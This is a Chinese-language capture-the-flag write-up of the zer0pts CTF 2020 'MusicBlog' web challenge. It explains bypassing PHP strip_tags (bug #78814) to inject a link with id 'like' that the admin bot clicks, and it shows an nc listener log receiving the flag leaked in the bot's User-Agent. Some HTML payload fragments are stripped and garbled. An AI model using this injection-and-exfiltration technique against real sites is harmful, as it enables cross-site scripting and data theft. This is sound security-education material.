MusicBlog — zer0pts CTF 2020

You can introduce favorite songs to friends with MusicBlog
!
Challenge (URL)

题目文件: MusicBlog_637545797ab8638bffd877d7be2ec045.tar.gz

是一个Blog。在发布文章时可以选择是否公开,如果设置为公开,admin用户会自动访问该文章并点赞。写文章时可以使用 [[URL]]
语法,将其插入到句子中会展开成
这样的audio元素。

首先,确认flag在哪。搜索 zer0pts{
,能够发现flag在 worker/worker.js
中,这是admin自动访问代码的一部分。

// (snipped)

const flag = 'zer0pts{}';

// (snipped)

const crawl = async (url) => {
    console.log(`[+] Query! (${url})`);
    const page = await browser.newPage();
    try {
        await page.setUserAgent(flag);
        await page.goto(url, {
            waitUntil: 'networkidle0',
            timeout: 10 * 1000,
        });
        await page.click('#like');
    } catch (err){
        console.log(err);
    }
    await page.close();
    console.log(`[+] Done! (${url})`)
};

// (snipped)

await page.setUserAgent(flag);
,会将User-Agent设置为flag。那么首先,考虑找到一个使用 [[URL]]
进行外部请求的方法,但是 Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-yuAhic5Y6HSsT0e5zC8Qlg==' 'strict-dynamic'; base-uri 'none'; trusted-types
,严格的CSP策略会禁止这样。

但是,admin会进行 await page.click('#like');
,如果能够将一个可控元素的id设置为like,就可以利用admin的click,考虑通过XSS将admin重定向访问到外部。

查看文章的单独页面post.php, 能够发现这里将文章内容作为参数,经过 render_tags
后返回值显示在页面上。

render_tags
utils.php
中定义:


function render_tags($str) {
  $str = preg_replace('/\[\[(.+?)\]\]/', '', $str);
  $str = strip_tags($str, '

[[URL]]
替换为
之后,通过 strip_tags
audio
之外的标签消除来防止XSS。那如果使用 [[">]]
作为URL,经过这种处理之后就变成了 alert(1)">
,
都被删除了,做不了什么。

看一下Web server的Dockerfile,可以看到使用的是PHP 7.4.0, 截至2020年3月7日,最新版本为PHP 7.4.3,看起来稍微有点老,因此可以看一下PHP 7.4.0之后的 PHP 7.4.1的ChangeLog

Standard:

  • Fixed bug #78814 (strip_tags allows / in tag name => whitelist bypass).

可以看到修复了 strip_tags
的一个bug,详细说明见 https://bugs.php.net/bug.php?id=78814

Bug #78814 strip_tags allows / in tag name, allowing whitelist bypass in browsers

When strip_tags is used with a whitelist of tags, php allows slashes (“/”) that occur inside the name of a whitelisted tag and copies them to the result.

For example, if is whitelisted, then a tag
is also kept.

Test script:
---------------
b", "");

Expected result:
----------------
b

Actual result:
--------------
b


作为白名单时,添加斜杠的
没有被删除,原样输出。MusicBlog 中使用的是
作为白名单,
可以通过函数处理,并且

会作为 超链接

被解析。

因此,利用这个bug,使用 [[">testtest

这样admin自动去点击id为like的标签的话,会点击到我们可控的外部链接。

$ nc -lvp 8000
Listening on [0.0.0.0] (family 0, port 8000)
Connection from ec2-3-112-201-75.ap-northeast-1.compute.amazonaws.com 33926 received!
GET / HTTP/1.1
︙
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: zer0pts{M4sh1m4fr3sh!!}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
︙
Accept-Encoding: gzip, deflate
Accept-Language: en-US